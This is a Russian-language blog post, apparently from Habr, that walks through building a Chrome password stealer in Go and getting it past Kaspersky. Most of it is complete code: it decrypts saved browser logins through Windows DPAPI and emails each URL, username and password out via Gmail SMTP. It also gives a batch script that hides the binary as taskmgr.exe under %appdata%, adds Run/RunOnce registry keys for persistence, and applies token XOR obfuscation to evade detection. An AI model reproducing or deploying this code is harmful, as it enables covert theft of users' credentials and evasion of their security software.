Обход антивируса Kaspersky Total Security

На днях я наткнулся на данный весьма интересный проект. Суть заключается в том что данный софт декодирует Login Data от Chrome, Opera Stable (По тому же методу что и Chrome) и выдает все в нам привычный string формат.

Как шифруются пароли Chrome


Разработчики Chrome подошли очень ответственно к этому вопросу используя Data Protection Application Programming Interface (DPAPI). Пароли и логины Google Chrome шифруются с помощью машинного ключа/пользовательского ключа.

За API Криптографии Windows отвечает — Crypt32.dll он и производит все манипуляции с криптографическими ключами. Если вы возьмете и перенесёте файл Login Data »%appdata%\Local\Google\Chrome\User Data\Default\Login Data» на любую другую машину (ПК, ноутбук — без разницы) и попробуете дешифровать файл — у вас ничего не получиться. Ключ уникален только текущей машине. Поэтому все манипуляции будут производиться на текущей машине.

Меня заинтересовало совсем другое… Можно же использовать данный софт для кражи данных логинов, паролей пользователя (В целях эксперимента тестировалось только на текущей машине). Декодируется файл на текущей машине и далее все данные отправляются через SMTP сервер, выбрал я для этого Gmail. Ничего хитроумного выдумывать не нужно было, всего лишь добавить обертку для отправки данных через SMTP сервер.

Код дешифратора паролей с последующей отправкой на почту:

package main; 

import (
	"unsafe"
	"os"
	"log"
	//"io/ioutil"
	"fmt"
	"io"
	"syscall"
	"database/sql"
	_ "github.com/mattn/go-sqlite3"
	"github.com/scorredoira/email"
	"net/mail"
	"net/smtp"
	//"path/filepath"
)

var (
	dllcrypt32  = syscall.NewLazyDLL("Crypt32.dll")
	dllkernel32 = syscall.NewLazyDLL("Kernel32.dll")

	procDecryptData = dllcrypt32.NewProc("CryptUnprotectData")
	procLocalFree   = dllkernel32.NewProc("LocalFree")

	dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
)

var URL string
var USERNAME string
var PASSWORD string
var pass string
type DATA_BLOB struct {
	cbData uint32
	pbData *byte
}

func NewBlob(d []byte) *DATA_BLOB {
	if len(d) == 0 {
		return &DATA_BLOB{}
	}
	return &DATA_BLOB{
		pbData: &d[0],
		cbData: uint32(len(d)),
	}
}

func (b *DATA_BLOB) ToByteArray() []byte {
	d := make([]byte, b.cbData)
	copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
	return d
}

func Decrypt(data []byte) ([]byte, error) {
	var outblob DATA_BLOB
	r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))
	if r == 0 {
		return nil, err
	}
	defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
	return outblob.ToByteArray(), nil
}

func copyFileToDirectory(pathSourceFile string, pathDestFile string) error {
	sourceFile, err := os.Open(pathSourceFile)
	if err != nil {
		return err
	}
	defer sourceFile.Close()

	destFile, err := os.Create(pathDestFile)
	if err != nil {
		return err
	}
	defer destFile.Close()

	_, err = io.Copy(destFile, sourceFile)
	if err != nil {
		return err
	}

	err = destFile.Sync()
	if err != nil {
		return err
	}

	sourceFileInfo, err := sourceFile.Stat()
	if err != nil {
		return err
	}

	destFileInfo, err := destFile.Stat()
	if err != nil {
		return err
	}

	if sourceFileInfo.Size() == destFileInfo.Size() {
	} else {
		return err
	}
	return nil
}

func checkFileExist(filePath string) bool {
	if _, err := os.Stat(filePath); os.IsNotExist(err) {
		return false
	} else {
		return true
	}
}

func Grabber() {
	//Check for Login Data file
	if !checkFileExist(dataPath) {
		os.Exit(0)
	}

	//Copy Login Data file to temp location
	err := copyFileToDirectory(dataPath, os.Getenv("APPDATA")+"\\tempfile.dat")
	if err != nil {
		log.Fatal(err)
	}

	//Open Database
	db, err := sql.Open("sqlite3", os.Getenv("APPDATA")+"\\tempfile.dat")
	if err != nil {
		log.Fatal(err)
	}
	defer db.Close()

	//Select Rows to get data from
	rows, err := db.Query("select origin_url, username_value, password_value from logins")
	if err != nil {
		log.Fatal(err)
	}
	defer rows.Close()

	for rows.Next() {

		err = rows.Scan(&URL, &USERNAME, &PASSWORD)
		if err != nil {
			log.Fatal(err)
		}
		//Decrypt Passwords
		pass, err := Decrypt([]byte(PASSWORD))
		if err != nil {
			log.Fatal(err)
		}
		//Check if no value, if none skip
		if URL != "" && URL != "" && string(pass) != "" {
			fmt.Println(URL, USERNAME, string(pass))

			var sx string; 

			sx = (URL + " " + USERNAME + " " + string(pass))

			m := email.NewMessage("[Grabber]: Decrypt;", sx)

			m.From = mail.Address{Name: "From", Address: "examplefrom3@gmail.com"}
			m.To = []string{"exampleto@gmail.com"}

			auth := smtp.PlainAuth("", "examplefrom@gmail.com", "Qwerty123", "smtp.gmail.com")
			if err := email.Send("smtp.gmail.com:587", auth, m); err != nil {
				log.Fatal(err)
			}
		}
	}

	err = rows.Err()
	if err != nil {
		log.Fatal(err)
	}

}

func main() {
    Grabber(); 
}


Проблема


Я скачал и установил антивирус Kaspersky Total Security. К моему удивлению Kaspersky Total Security было абсолютно все ровно на всё происходящее. Знаете почему? Потому что мы работает как раз с криптографической библиотекой Crypt32.dll которая имеет «Цифровую Подпись» и входит в состав неотъемлемого компонента ОС Windows. У меня все работало до тех пор пока я не решил добавить софт в автозагрузку. Делал я по такому плану:

  1. Создается папка в %appdata%/Microsoft/VirtualNetwork/
  2. Перемешается текущий файл в %appdata%/Microsoft/VirtualNetwork/taskmgr.exe
  3. Добавляемся в автозагрузку «HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run»


Код:



func GetRegistryKey(typeReg registry.Key, regPath string, access uint32) (key registry.Key, err error) {
    currentKey, err := registry.OpenKey(typeReg, regPath, access)
    if err != nil {
        fmt.Println("[FATAL]: Get registry-key is impossible!")
    }
    return currentKey, err;
}

func GetRegistryKeyValue(typeReg registry.Key, regPath, nameKey string) (keyValue string, err error) {
    var value string = ""
    key, err := GetRegistryKey(typeReg, regPath, registry.READ)
    if err != nil {
        fmt.Println("[FATAL]: Get registry-key is impossible!")
    }
    defer key.Close()

    value, _, err = key.GetStringValue(nameKey)
    if err != nil {
        fmt.Println("[FATAL]: Get string key-value is impossible!")
    }
    return value, nil;
}

func CheckSetValueRegistryKey(typeReg registry.Key, regPath, nameValue string) bool {
    currentKey, err := GetRegistryKey(typeReg, regPath, registry.READ)
    if err != nil {
        fmt.Println("[INFO]: Get registry-key is impossible!")
    }
    defer currentKey.Close()
    _, _, err = currentKey.GetStringValue(nameValue)
    if err != nil {
        fmt.Println("[INFO]: Check registry-key is impossible!")
    }
    return true;
}

func WriteRegistryKey(typeReg registry.Key, regPath, nameProgram, pathToExecFile string) error {
    updateKey, err := GetRegistryKey(typeReg, regPath, registry.WRITE)
    if err != nil {
        fmt.Println("[INFO]: Get registry-key is impossible!")
    }
    defer updateKey.Close()
    return updateKey.SetStringValue(nameProgram, pathToExecFile);
}

func DeleteRegistryKey(typeReg registry.Key, regPath, nameProgram string) error {
    deleteKey, err := GetRegistryKey(typeReg, regPath, registry.WRITE)
    if err != nil {
        fmt.Println("[INFO]: Get registry-key is impossible!")
    }
    defer deleteKey.Close()
    return deleteKey.DeleteValue(nameProgram);
}
func main() {
    go func() {
        WriteRegistryKey(
            registry.CURRENT_USER,
            `Software\Microsoft\Windows\CurrentVersion\Run`,
            "Virtual Network",
            "%appdata%/Microsoft/VirtualNetwork/taskmgr.exe",
        )
        CheckSetValueRegistryKey(
            registry.CURRENT_USER,
            `Software\Microsoft\Windows\CurrentVersion\Run`,
            "Virtual Network",
        )
        WriteRegistryKey(
            registry.CURRENT_USER,
            `Software\Microsoft\Windows\CurrentVersion\RunOnce`,
            "Virtual Network",
           "%appdata%/Microsoft/VirtualNetwork/taskmgr.exe",,
        )
        CheckSetValueRegistryKey(
            registry.CURRENT_USER,
            `Software\Microsoft\Windows\CurrentVersion\RunOnce`,
            "Virtual Network",
        )
    }()
}


Тут же как я попробовал запустить софт — начал ругаться Kaspersky Total Security. На то и было дело, Kaspersky Total Security перехватывал все системные вызовы которыми я пользовался для добавления файла в автозагрузку, так как мои вызовы исходили из программы неподтвержденной цифровой подписью и не каким боком не относились к компоненту Windows — Kaspersky Total Security негодовал. Я не знал что проблема связанна с цифровыми подписями и компонентами ОС Windows… Я попробовал обфусцировать код.

    mask := []byte{33, 16, 187}
    maskedStr := []byte{89, 152, 190}
    res := make([]byte, 3)
    for i, m := range mask {
        res[i] = m ^ maskedStr[i]
    }
    moveSX := []byte{255, 255, 255, 255, 0, 0, 0, 10}
    moveSXSub := []byte{1, 1, 1, 1, 22, 11, 22, 11}
    result := make([]byte, 512)
    for i, m := range moveSX {
    	result[i] = m ^ moveSXSub[i] * m * 22; 
    }


Запустил, подождал, но всё было напрасно…

После этого я посидел ещё несколько часов и решил обойти проблему методом вызова os.exec (), предварительно переместив текущий файл в %appdata%/Microsoft/VirtualNetwork/taskmgr.exe:

    var (
        controllerDir string = os.Getenv("APPDATA")+"\\"+"\\Microsoft\\VirtualNetwork"
    )

    if _, err := os.Stat(controllerDir); os.IsNotExist(err) {
        err = os.MkdirAll(controllerDir, 0755)
        if err != nil {
            log.Fatal(err)
        }
    }

    currPath, err := filepath.Abs(os.Args[0])
    if err != nil {
        fmt.Println("#CANT FIND CURRENT PROCC>")
    }

    from, err := os.Open(string(currPath))
    if err != nil {
        log.Fatal(err)
    }
    defer from.Close()

    to, err := os.OpenFile(controllerDir+"\\taskmgr.exe", os.O_RDWR|os.O_CREATE, 0666)
    if err != nil {
        log.Fatal(err)
    }
    defer to.Close()

    _, err = io.Copy(to, from)
    if err != nil {
        log.Fatal(err)
    }


    cmd := exec.Command("cmd", "/Q", "/C", "reg", "add", 
    "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "/v", "Virtual Manager", "/d", 
    "%appdata%/Microsoft/VirtualNetwok/taskmgr.exe")
    cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
    out, _ := cmd.Output()
    fmt.Println(out)


Но ничего не выходило, Kaspersky Total Security все равно перехватывал все вызовы. Я был в отчаянии… Полежав на кроватке минут 20 я опять вернулся и глянул на код софта и вспомнил что до того момента как я начал работать с реестром и делать перемещение файлов у меня проблем не было… И тут я понял что проблема как раз с Цифровыми Подписями и стандартными компонентами ОС Windows

Решение проблемы


Так как я уже узнал что проблема была с цифровыми подписями и программными компонентами ОС Windows я приступил действовать. Первым делом я добавил код обфускации (Показанный выше) в код программы. Удалил излишнее компоненты работы с реестром и перемещением файлов. Следующие что я сделал это создал файл auto.bat и записал в него примерно следующее:

@echo off
if exist %appdata%\Microsoft\VirtualNetwork\ rmdir /S /Q %appdata%\Microsoft\VirtualNetwork
if not exist %appdata%\Microsoft\VirtualNetwork\ mkdir %appdata%\Microsoft\VirtualNetwork
xcopy /Y taskmgr.exe "%appdata%\Microsoft\System\taskmgr.exe"

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Virtual Manager" /t REG_SZ /F /D "%appdata%\Microsoft\VirtualNetwork\taskmgr.exe"
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "Virtual Manager" /t REG_SZ /F /D "%appdata%\Microsoft\VirtualNetwork\taskmgr.exe"
taskmgr.exe
exit


Суть заключалась в том что я буду использовать стандартные компоненты Microsoft Windows для внедрения данных в реестр (автозагрузку), удаления/перемещения файлов, директорий и так далее, потому что Kaspersky Total Security попросту не может блокировать такие утилиты как regedit, rmdir/rd, mkdir — они необходимы для полноценной работы всех независимо-программных компонентов ОС.

Собрал всё в кучу и подредактировал некоторые нюансы у меня получилось следующие:
Go |test.go| Batch |auto.bat|

package main; 

import (
	"unsafe"
	"os"
	"log"
	//"io/ioutil"
	"fmt"
	"io"
	"syscall"
	"database/sql"
	_ "github.com/mattn/go-sqlite3"
	"github.com/scorredoira/email"
	"net/mail"
	"net/smtp"
	//"path/filepath"
)

var (
	dllcrypt32  = syscall.NewLazyDLL("Crypt32.dll")
	dllkernel32 = syscall.NewLazyDLL("Kernel32.dll")

	procDecryptData = dllcrypt32.NewProc("CryptUnprotectData")
	procLocalFree   = dllkernel32.NewProc("LocalFree")

	dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
)

var URL string
var USERNAME string
var PASSWORD string
var pass string
type DATA_BLOB struct {
	cbData uint32
	pbData *byte
}

func NewBlob(d []byte) *DATA_BLOB {
	if len(d) == 0 {
		return &DATA_BLOB{}
	}
	return &DATA_BLOB{
		pbData: &d[0],
		cbData: uint32(len(d)),
	}
}

func (b *DATA_BLOB) ToByteArray() []byte {
	d := make([]byte, b.cbData)
	copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
	return d
}

func Decrypt(data []byte) ([]byte, error) {
	var outblob DATA_BLOB
	r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))
	if r == 0 {
		return nil, err
	}
	defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
	return outblob.ToByteArray(), nil
}

func copyFileToDirectory(pathSourceFile string, pathDestFile string) error {
	sourceFile, err := os.Open(pathSourceFile)
	if err != nil {
		return err
	}
	defer sourceFile.Close()

	destFile, err := os.Create(pathDestFile)
	if err != nil {
		return err
	}
	defer destFile.Close()

	_, err = io.Copy(destFile, sourceFile)
	if err != nil {
		return err
	}

	err = destFile.Sync()
	if err != nil {
		return err
	}

	sourceFileInfo, err := sourceFile.Stat()
	if err != nil {
		return err
	}

	destFileInfo, err := destFile.Stat()
	if err != nil {
		return err
	}

	if sourceFileInfo.Size() == destFileInfo.Size() {
	} else {
		return err
	}
	return nil
}

func checkFileExist(filePath string) bool {
	if _, err := os.Stat(filePath); os.IsNotExist(err) {
		return false
	} else {
		return true
	}
}

func Grabber() {
	//Check for Login Data file
	if !checkFileExist(dataPath) {
		os.Exit(0)
	}

	//Copy Login Data file to temp location
	err := copyFileToDirectory(dataPath, os.Getenv("APPDATA")+"\\tempfile.dat")
	if err != nil {
		log.Fatal(err)
	}

	//Open Database
	db, err := sql.Open("sqlite3", os.Getenv("APPDATA")+"\\tempfile.dat")
	if err != nil {
		log.Fatal(err)
	}
	defer db.Close()

	//Select Rows to get data from
	rows, err := db.Query("select origin_url, username_value, password_value from logins")
	if err != nil {
		log.Fatal(err)
	}
	defer rows.Close()

	for rows.Next() {

		err = rows.Scan(&URL, &USERNAME, &PASSWORD)
		if err != nil {
			log.Fatal(err)
		}
		//Decrypt Passwords
		pass, err := Decrypt([]byte(PASSWORD))
		if err != nil {
			log.Fatal(err)
		}
		//Check if no value, if none skip
		if URL != "" && URL != "" && string(pass) != "" {
			fmt.Println(URL, USERNAME, string(pass))

			var sx string; 

			sx = (URL + " " + USERNAME + " " + string(pass))

			m := email.NewMessage("[Grabber]: Decrypt;", sx)

			m.From = mail.Address{Name: "From", Address: "examplefrom3@gmail.com"}
			m.To = []string{"exampleto@gmail.com"}

			auth := smtp.PlainAuth("", "examplefrom@gmail.com", "Qwerty123", "smtp.gmail.com")
			if err := email.Send("smtp.gmail.com:587", auth, m); err != nil {
				log.Fatal(err)
			}
		}
	}

	err = rows.Err()
	if err != nil {
		log.Fatal(err)
	}

}

func main() {
    mask := []byte{33, 15, 199}
    maskedStr := []byte{73, 106, 190}
    res := make([]byte, 3)
    for i, m := range mask {
        res[i] = m ^ maskedStr[i]
    }

    Grabber(); 

    moveSX := []byte{255, 255, 255, 255, 0, 0, 0, 10}
    moveSXSub := []byte{1, 1, 1, 1, 22, 11, 22, 11}
    result := make([]byte, 512)
    for i, m := range moveSX {
    	result[i] = m ^ moveSXSub[i] * m * 22; 
    }
}


@echo off
if exist %appdata%\Microsoft\VirtualNetwork\ rmdir /S /Q %appdata%\Microsoft\VirtualNetwork
if not exist %appdata%\Microsoft\VirtualNetwork\ mkdir %appdata%\Microsoft\VirtualNetwork
xcopy /Y test.exe "%appdata%\Microsoft\System\taskmgr.exe"

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Virtual Manager" /t REG_SZ /F /D "%appdata%\Microsoft\VirtualNetwork\taskmgr.exe"
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "Virtual Manager" /t REG_SZ /F /D "%appdata%\Microsoft\VirtualNetwork\taskmgr.exe"
test.exe
exit


Собираем наш проект:

go build -ldflags "-w -s" -ldflags -H=windowsgui

Запускаем auto.bat: Успешно добавляет наш файл в автозагрузку, создает директорию %appdata%/Microsoft/VirtualNetwork/ и перемещает файл в VirtualNetwork заменяя test.exe на taskmgr.exe.

Может это и не совсем обход антивируса, но суть заключается в том что можно использовать стандартные компоненты ОС Windows для решения частых проблем с перемещением/внедрением /удалением.

Отчет VirusTotal:

image
image

© Habrahabr.ru